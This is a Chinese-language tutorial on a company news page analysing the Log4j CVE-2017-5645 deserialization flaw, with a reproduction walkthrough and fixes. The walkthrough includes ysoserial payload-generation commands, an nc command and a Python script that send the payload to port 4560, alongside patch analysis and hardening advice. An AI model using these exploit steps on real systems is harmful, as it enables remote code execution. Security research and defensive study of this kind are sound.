尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

深入解析Apache Log4j反序列化漏洞CVE-2017-5645:原理、复现与防御

深入解析Apache Log4j反序列化漏洞CVE-2017-5645:原理、复现与防御
📅 发布时间:2026/6/22 16:28:32

1. 项目概述与漏洞背景

今天我们来深入聊聊一个在Java安全领域里颇具“历史地位”的漏洞:Apache Log4j TCP Server反序列化命令执行漏洞,也就是CVE-2017-5645。这个漏洞虽然不像后来的Log4Shell(CVE-2021-44228)那样引爆全球,但它却是理解Java反序列化攻击链和Log4j早期安全模型的一个绝佳样本。很多刚接触安全研究的朋友,都是从复现这类经典漏洞开始,逐步建立起对漏洞原理、利用链构造和修复方案的立体认知。

简单来说,这个漏洞存在于Apache Log4j 2.x版本(具体是2.0到2.8.1之间)的一个可选组件——SocketServer中。Log4j为了方便分布式日志收集,提供了一个TCP服务器功能,允许客户端通过TCP端口发送序列化的LoggingEvent对象给服务器,服务器反序列化后将其记录到日志。问题就出在这个反序列化过程上:当攻击者能够连接到这个TCP服务器端口时,他可以发送一个精心构造的、包含恶意代码的序列化对象。由于服务器在反序列化时没有进行任何白名单校验或安全的类加载限制,它会直接执行对象中的代码,从而导致远程命令执行。这意味着,如果一个开启了Log4jSocketServer功能的系统暴露在了公网或不可信网络,攻击者就获得了一个直接通往系统内部的“后门”。

这个漏洞的影响范围主要是在那些使用了Log4j 2.x并显式配置启用了SocketServer功能的应用程序。它不像Log4Shell那样默认触发、影响面巨大,但一旦满足条件,其危害是直接的RCE(远程代码执行),攻击者可以完全控制服务器。理解这个漏洞,不仅能让我们掌握一种攻击手法,更重要的是能让我们深刻认识到:任何来自网络的反序列化操作,都必须被视为极度危险的操作,必须施加严格的安全边界。接下来,我们就从环境搭建、原理分析、漏洞复现到深度防御,一步步拆解这个CVE。

2. 漏洞原理深度解析

要真正理解CVE-2017-5645,我们不能只停留在“发个payload就能执行命令”的层面,必须深入到Log4j的网络日志处理机制和Java反序列化的底层原理中去。

2.1 Log4j SocketServer 的工作机制

Log4j 2.x的org.apache.logging.log4j.core.net.server.TcpSocketServer类(在老版本中可能是SocketServer)提供了一个简单的日志服务器。它的设计初衷是为了轻量级的集中日志收集。客户端应用通过ObjectOutputStream将一个LogEvent对象(实现了Serializable接口)序列化成字节流,通过TCP Socket发送到服务器端。服务器端有一个工作线程在循环调用ObjectInputStream.readObject()方法来读取这个对象。

关键代码逻辑简化后大致如下:

// 服务器端简化逻辑 try (ServerSocket serverSocket = new ServerSocket(port)) { while (running) { Socket socket = serverSocket.accept(); // 为每个连接创建线程处理 new Thread(() -> { try (ObjectInputStream ois = new ObjectInputStream(socket.getInputStream())) { while (true) { // 危险操作:直接反序列化来自网络的数据 LogEvent event = (LogEvent) ois.readObject(); // 处理日志事件... } } catch (Exception e) { /* ... */ } }).start(); } }

这里最致命的一点是,ObjectInputStream在反序列化时,会根据字节流中的类描述信息,动态地加载类并重建对象。如果字节流描述的是一个LogEvent,那就相安无事。但如果描述的是一个精心构造的、包含恶意静态代码块或readObject方法的类呢?JVM会忠实地执行这些代码。

2.2 反序列化攻击链的构造核心

Java反序列化漏洞的利用,核心在于找到一条从readObject()方法触发到危险操作(如Runtime.exec())的调用链(Gadget Chain)。攻击者无法直接发送一个Runtime.getRuntime().exec(“calc”)的代码片段,他必须发送一个序列化后的对象,这个对象在反序列化的过程中,通过一系列合法的Java API调用,最终间接触发命令执行。

对于Log4j的这个漏洞,攻击者通常不会去构造一个恶意的LogEvent子类(因为服务端可能做了类型检查),而是利用Java环境中广泛存在的、可利用的第三方库。当时最著名的就是Apache Commons Collections库(版本3.x, 4.x)。这个库中一些类的readObject或相关方法(如TransformedMap、InvokerTransformer)可以被巧妙串联,在反序列化时实现反射调用任意方法。攻击payload中实际上包含的是这些“工具类”对象,它们像多米诺骨牌一样,在反序列化过程中被依次触发,最终倒向执行系统命令的那一张牌。

注意:这里存在一个常见的误解。很多人以为漏洞在Log4j自身的代码里。实际上,漏洞的根源是不安全的反序列化操作,而利用的“弹药”(Gadget Chain)往往来自应用程序的ClassPath中其他存在问题的库(如Commons Collections)。Log4j只是提供了触发这个“弹药”的“扳机”(即readObject()调用)。这也是为什么修复方案不仅仅是升级Log4j,还要确保ClassPath中没有危险的库。

2.3 漏洞触发条件与影响范围

要成功利用CVE-2017-5645,需要同时满足以下几个条件,缺一不可:

  1. Log4j版本:使用Apache Log4j 2.x,版本在2.0-beta9 到 2.8.1之间。2.8.2及之后版本修复了此问题。
  2. 服务配置:应用程序必须显式配置并启动了Log4j的SocketServer或TcpSocketServer。这通常不是默认配置,需要在log4j2.xml或代码中主动开启。
  3. 网络可达:攻击者需要能够访问到该TCP服务器监听的端口(默认是4560,但可配置)。
  4. ClassPath中存在可利用的Gadget库:应用程序的依赖中包含如Apache Commons Collections (3.1, 3.2.1, 4.0)等存在已知反序列化链的库。

因此,它的实际影响面比默认开启的漏洞要小,但危害性极高。在内部监控系统、微服务架构的日志汇聚节点等场景中,仍有可能遇到。

3. 漏洞复现环境搭建与配置

纸上得来终觉浅,绝知此事要躬行。安全研究离不开动手实践。下面我们搭建一个高度还原的漏洞环境进行复现。请务必在隔离的虚拟机或实验网络中进行所有操作,切勿在生产环境或任何有真实数据的机器上尝试。

3.1 环境准备与依赖梳理

我们首先需要准备一个存在漏洞的Log4j版本,以及一个包含利用链的库。为了简化,我们可以直接使用一个集成了必要组件的测试应用,或者自己构建。

方案一:使用现成的漏洞测试应用(推荐)许多安全研究社区提供了打包好的测试JAR包,例如一个简单的使用了Log4j 2.8.1并开启了SocketServer的Spring Boot应用。你可以搜索“CVE-2017-5645 vulnerable app”来获取。这种方式最快,能让你迅速聚焦于漏洞利用本身。

方案二:手动构建测试环境如果你想更深入地理解,可以手动创建一个Maven项目。

  1. 创建项目:使用mvn archetype:generate创建一个简单的Java项目。
  2. 添加漏洞依赖:在pom.xml中引入存在漏洞的Log4j版本和Commons Collections库。
<dependencies> <!-- 存在漏洞的Log4j版本 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.8.1</version> </dependency> <!-- 提供反序列化利用链的库 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
  1. 编写漏洞服务器代码:创建一个主类,启动Log4j的TcpSocketServer。
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.net.server.TcpSocketServer; import java.io.*; public class VulnerableLog4jServer { private static final Logger logger = LogManager.getLogger(VulnerableLog4jServer.class); private static final int PORT = 4560; public static void main(String[] args) throws IOException { // 创建一个简单的配置,确保日志输出到控制台,方便观察 System.setProperty("log4j.configurationFile", "log4j2.xml"); // 启动TCP Socket服务器 TcpSocketServer<InputStream> server = TcpSocketServer.createJsonSocketServer(PORT); // 注意:createJsonSocketServer在2.9+已废弃,2.8.1中createSocketServer可能需要更多参数 // 更直接的方式是使用旧版API或参考官方示例 logger.info("Vulnerable Log4j TCP Server started on port {}", PORT); // 保持主线程运行,防止退出 System.in.read(); } }

你需要查阅Log4j 2.8.1的API文档来正确初始化TcpSocketServer。一个更简单的方法是直接使用Log4j配置文件来启用Socket服务器。

  1. 配置log4j2.xml:在资源目录下创建log4j2.xml,配置一个SocketAppender并启用服务器。
<?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> <!-- 关键配置:定义Socket服务器 --> <Socket name="Socket" host="localhost" port="4560" protocol="TCP"> <SerializedLayout/> </Socket> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> <AppenderRef ref="Socket"/> </Root> </Loggers> </Configuration>

实际上,上述配置是客户端配置。真正启用服务器端监听,可能需要通过编程方式或使用Log4j2的Server插件(在早期版本中可能是一个独立的jar或工具)。由于手动构建服务器端监听较为繁琐,这也是为什么推荐使用现成测试应用的原因。

实操心得:在复现历史漏洞时,经常会遇到依赖版本冲突、API过时等问题。一个高效的技巧是去GitHub上搜索针对该CVE的公开PoC(概念验证代码)仓库。这些仓库通常已经解决了环境搭建问题,你可以直接clone下来运行,把时间花在分析上而不是环境调试上。同时,使用Docker来封装复现环境是另一个最佳实践,它能保证环境纯净且易于分发。

3.2 利用工具准备

我们需要一个工具来生成恶意的序列化数据并发送到目标端口。最常用的是ysoserial工具。它是一个集合了多种Java反序列化利用链(Gadget Chains)的生成工具。

  1. 获取ysoserial:从GitHub(https://github.com/frohoff/ysoserial)下载最新发布的JAR文件,或者克隆源码自行编译(mvn clean package -DskipTests)。
  2. 了解基本用法:ysoserial可以针对不同的库生成payload。对于使用CommonsCollections库的环境,我们常用CommonsCollectionsX(如CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4,具体哪个能用取决于目标ClassPath中的库版本)作为利用链。
    # 基本命令格式 java -jar ysoserial.jar [Gadget Chain] “[command]” > payload.bin # 示例:生成一个执行计算器命令的payload(适用于Windows测试) java -jar ysoserial.jar CommonsCollections1 “calc.exe” > payload.bin # 示例:生成一个执行`touch /tmp/pwned`命令的payload(适用于Linux测试) java -jar ysoserial.jar CommonsCollections1 “touch /tmp/pwned” > payload.bin
    生成的payload.bin文件就是包含了恶意序列化对象的二进制数据。

4. 漏洞复现操作过程详解

环境准备好后,我们开始攻击复现。整个过程可以清晰地分为三步:启动靶机、生成武器、发起攻击。

4.1 启动漏洞服务(靶机)

假设我们已经有了一个打包好的漏洞测试应用vuln-log4j-server.jar。

  1. 在实验机器上运行:
    java -jar vuln-log4j-server.jar
  2. 观察控制台输出,确认服务已启动并监听在4560端口(或你配置的端口)。
    INFO: Vulnerable Log4j TCP Server started on port 4560
  3. 使用netstat或lsof命令验证端口监听情况:
    # Linux/Mac lsof -i:4560 # 或 netstat -tlnp | grep 4560 # Windows netstat -ano | findstr :4560

4.2 生成反序列化攻击Payload

现在,我们假设目标服务器的ClassPath中包含commons-collections4-4.0.jar。我们使用ysoserial生成对应的payload。

  1. 确定利用链:对于Commons Collections 4.0,可以尝试CommonsCollections2或CommonsCollections4链。我们需要进行测试。这里以CommonsCollections2为例。
  2. 生成Payload:我们构造一个在目标服务器上创建文件的命令作为验证。
    # Linux/Mac 目标 java -jar ysoserial.jar CommonsCollections2 “touch /tmp/cve-2017-5645-success” > payload.bin # Windows 目标 (如果靶机是Windows) java -jar ysoserial.jar CommonsCollections2 “calc.exe” > payload.bin
    执行后,当前目录下会生成一个payload.bin文件。

4.3 发动攻击与结果验证

最后一步,我们将payload发送到漏洞服务器的监听端口。可以使用任何能发送原始TCP数据的工具,如nc(netcat)、Python、甚至简单的Java客户端。

方法一:使用Netcat (nc)

# 将payload文件的内容发送到目标主机的4560端口 nc 目标IP 4560 < payload.bin

如果目标在本地,IP就是127.0.0.1。

方法二:使用Python脚本(更灵活)

#!/usr/bin/env python3 import socket import sys def exploit(host, port, payload_file): with open(payload_file, 'rb') as f: payload = f.read() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, port)) print(f"[+] Connected to {host}:{port}") s.sendall(payload) print("[+] Payload sent.") except Exception as e: print(f"[-] Connection failed: {e}") finally: s.close() if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <target_port> <payload_file>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])

运行脚本:

python3 exploit.py 127.0.0.1 4560 payload.bin

结果验证:

  • Linux/Mac:立即检查目标服务器的/tmp目录,如果出现了cve-2017-5645-success文件,则证明漏洞复现成功,命令已执行。
    ls -la /tmp/cve-2017-5645-success
  • Windows:如果命令是calc.exe,成功的话计算器程序会被弹出。
  • 观察服务端日志:同时,漏洞服务器的控制台可能会抛出异常堆栈信息,其中可能包含InvokerTransformer、TransformedMap等Commons Collections相关类的字样,这是反序列化链被触发的间接证据。

注意事项:复现过程可能不会一次成功。常见的失败原因包括:利用链不匹配(Commons Collections版本不对)、网络连接问题、防火墙拦截、或者目标服务在处理畸形数据时直接断开连接。需要根据服务端的错误日志和网络抓包来排查。这也是真实渗透测试中需要面对的情况。

5. 漏洞修复方案与安全加固

成功复现漏洞意味着我们理解了其危害。现在,我们从开发者和运维人员两个角度,来看看如何修复和防御此类问题。

5.1 官方修复方案

Apache Log4j官方在2.8.2版本中修复了此漏洞。修复的核心思路是:为ObjectInputStream添加了严格的类过滤。

修复代码分析: 在TcpSocketServer或相关的反序列化处理类中,修复版本不再使用原生的ObjectInputStream,而是使用了自定义的ObjectInputStream子类,并重写了resolveClass方法。这个方法会在反序列化时被调用,用于根据类名解析类对象。修复后的代码类似这样:

private static class SafeObjectInputStream extends ObjectInputStream { SafeObjectInputStream(InputStream in) throws IOException { super(in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); // 创建一个严格的白名单,只允许反序列化日志相关的安全类 if (!className.startsWith("org.apache.logging.log4j.") && !className.startsWith("java.lang.") && !allowedClasses.contains(className)) { // allowedClasses是一个预定义的安全列表 throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); } }

这样,即使攻击者发送了包含commons-collections类的恶意payload,在resolveClass阶段就会被拦截,因为类名不在白名单内,从而从根本上杜绝了反序列化攻击。

修复建议:

  1. 立即升级:将所有使用Log4j 2.x的项目升级到2.8.2或更高版本(注意,要升级到不受后续其他漏洞影响的版本,如2.17.1以上)。
  2. 检查依赖:使用Maven的mvn dependency:tree或Gradle的dependencies命令,确保所有传递依赖也升级到了安全版本。

5.2 临时缓解措施与安全配置

如果因为兼容性等原因无法立即升级,可以考虑以下临时缓解措施:

  1. 禁用SocketServer功能:这是最直接有效的方法。检查你的log4j2.xml或代码配置,移除所有与Socket、ServerSocket、TcpSocketServer相关的Appender或服务器启动代码。确保Log4j配置不监听任何网络端口。
  2. 网络层隔离:如果该功能业务上必须使用,那么通过防火墙(如iptables, AWS Security Group)严格限制对Log4j TCP端口(默认4560)的访问,只允许可信的日志收集服务器(如Logstash, Flume)的IP地址连接。
  3. 移除危险的依赖库:从应用程序的ClassPath中移除或升级存在已知反序列化Gadget的库,如Apache Commons Collections 3.x/4.x的老版本。可以升级到已修复的版本(如Commons Collections 4.1+),或者使用其他安全的替代库。但这种方法治标不治本,因为可能还有其他未知的Gadget库。

5.3 针对反序列化漏洞的通用防御策略

CVE-2017-5645是反序列化漏洞的一个典型案例。我们可以从中提炼出更通用的防御原则,应用于整个开发体系:

  1. 原则一:避免反序列化不可信数据:这是铁律。任何来自网络、文件、数据库、用户输入的数据,在反序列化前都必须视为不可信。如果能用JSON、XML、Protobuf等安全的数据交换格式替代Java原生序列化,就尽量避免使用ObjectInputStream。
  2. 原则二:使用白名单校验:如果必须使用Java反序列化,必须像Log4j修复方案那样,实现自定义的ObjectInputStream并重写resolveClass方法,只允许反序列化明确已知的安全类。白名单的范围要尽可能小。
  3. 原则三:升级和监控依赖:持续关注项目中第三方库的安全公告,及时升级到安全版本。可以使用OWASP Dependency-Check、Snyk等软件成分分析(SCA)工具集成到CI/CD流程中,自动发现和预警存在已知漏洞的依赖。
  4. 原则四:运行在最小权限下:运行Java应用的账户应遵循最小权限原则,避免使用root或Administrator权限。这样即使被攻破,攻击者能造成的破坏也有限。
  5. 原则五:使用安全工具进行防护:可以考虑使用Java安全管理器(Security Manager)或现代运行时应用自我保护(RASP)工具,对敏感操作(如Runtime.exec、ProcessBuilder.start、反射调用等)进行监控和拦截。

6. 常见问题排查与深度思考

在复现和研究这个漏洞的过程中,你可能会遇到各种问题。下面我整理了一些常见的情况和排查思路,这往往比一帆风顺的成功复现更能积累经验。

6.1 复现失败问题排查表

问题现象可能原因排查步骤与解决方案
连接被拒绝1. 漏洞服务未成功启动。
2. 防火墙/安全组拦截。
3. 端口号错误。
1. 检查服务进程是否存在,查看启动日志是否有报错。
2. 在服务器本地使用telnet 127.0.0.1 4560测试。
3. 检查防火墙规则(iptables -L,firewall-cmd或Windows防火墙)。
4. 确认netstat或lsof显示端口在监听。
连接成功但无反应1. Payload利用链不匹配。
2. 服务端处理异常但未崩溃。
3. 命令执行了但无回显。
1.最重要:检查服务端ClassPath中的Commons Collections版本,尝试ysoserial中的其他链(CC1, CC3, CC4, CC6等)。
2. 查看服务端应用日志,是否有反序列化异常(如ClassNotFoundException,InvalidClassException)。
3. 使用一个更明显的命令测试,如Linux下ping一个可控地址或写入一个特定文件。
服务端崩溃或连接立即断开1. Payload导致服务端JVM抛出致命错误。
2. 服务端代码有异常处理直接关闭连接。
1. 分析服务端崩溃的hs_err_pid日志或标准错误输出。
2. 尝试使用更“温和”的利用链,或者使用调试器(如IDEA Remote Debug)附加到服务端进程,在readObject处打断点,单步跟踪。
命令执行成功但无效果1. 命令路径错误。
2. 执行权限不足。
3. 命令在后台执行,输出被丢弃。
1. 使用绝对路径执行命令(如/usr/bin/touch)。
2. 尝试执行whoami或id命令查看权限。
3. 将命令输出重定向到文件(如touch /tmp/test 2>&1)。

6.2 从CVE-2017-5645看安全开发

这个漏洞给我们上了生动的一课:功能安全不等于协议安全。Log4j的SocketServer功能在逻辑上是正确的,它完美地实现了接收网络日志对象并记录的功能。但从安全视角看,它无条件地信任了网络对端,执行了最危险的反序列化操作。

在设计和评审涉及外部数据交互的功能时,我们必须建立“零信任”的思维:

  • 输入验证:所有输入都是有害的,直到被证明安全。对于反序列化,证明安全的方式就是严格的白名单。
  • 最小化攻击面:非必需的功能不开启。像SocketServer这种高风险组件,默认应关闭,并提供明确的安全警告。
  • 依赖管理:你的应用安全不仅取决于你的代码,还取决于你引入的成千上万个第三方库。需要一个持续、主动的依赖漏洞管理流程。

6.3 漏洞研究的延伸学习

成功复现CVE-2017-5645是一个很好的起点,你可以沿着以下几个方向深入:

  1. 分析ysoserial源码:看看CommonsCollections2这条利用链具体是如何构造的,理解Transformer、ChainedTransformer、LazyMap、AnnotationInvocationHandler等类是如何被串联起来,最终执行命令的。这会极大提升你对Java反射和动态代理的理解。
  2. 探索其他Gadget链:尝试复现针对其他库的漏洞,如Fastjson、Jackson、XStream的反序列化漏洞。你会发现它们的原理相通,但利用链的构造各有巧妙。
  3. 学习高级利用技术:在不出网(无回显)的情况下,如何通过DNS查询、HTTP请求、延迟等方式判断漏洞是否存在并利用?这涉及到无回显漏洞的探测和利用技巧。
  4. 掌握代码审计技巧:尝试在开源项目中搜索ObjectInputStream.readObject()的调用点,评估其安全性。这是发现“下一个”CVE的关键能力。

漏洞复现不是目的,而是手段。通过动手实践这个经典的Log4j反序列化漏洞,我们真正理解了“不安全的反序列化”这个OWASP Top 10常客背后的威胁模型。修复方案中的白名单思想,是防御此类漏洞的银弹。作为开发者,在编写代码时多一份警惕;作为运维者,在配置服务时多一份审视;作为安全研究者,在分析问题时多一层追根溯源。这个漏洞虽然已过多年,但它所揭示的安全原则,至今依然在每个Java应用中回响。

相关新闻

  • 卖金多赚几百块!广州正规黄金回收Top5,实时跟盘报价无套路压价 - 奢侈品回收评测
  • 山东高考440-500分,能报考辽宁哪些大学?(2026最新) - 品牌2026
  • 终极指南:如何用OBS Virtual Cam插件打造专业级虚拟摄像头解决方案

最新新闻

  • 存储型XSS漏洞深度挖掘:从隐蔽场景到CNVD实战指南
  • 2026 年 6 月上海旧金变现,靠谱首饰回收门店汇总 - 讯息早知道
  • 囤多的携程礼品卡不用愁,多种回收方式供你选 - 淘淘收小程序
  • 深入解析NXP KV5x MCM与MSCM:Cortex-M7底层系统控制模块实战指南
  • 2026天津家中闲置钻戒别压箱底,本地靠谱钻石回收商家实力排名一览 - 名奢变现站
  • Ubuntu 18.04 SNMP部署四层配置解析与Zabbix纳管实战

日新闻

  • 2026速览惠州叛逆青少年学校前十大排名名单出炉 - 武汉中职最新信息发布
  • 2026上饶白蚁消杀哪家好?15年本土2大权威白蚁防治公司推荐(金盾虫控/青蚁卫士) - 我叫一
  • 天龙八部单机版终极数据管理工具:5个技巧快速掌握游戏数据编辑

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号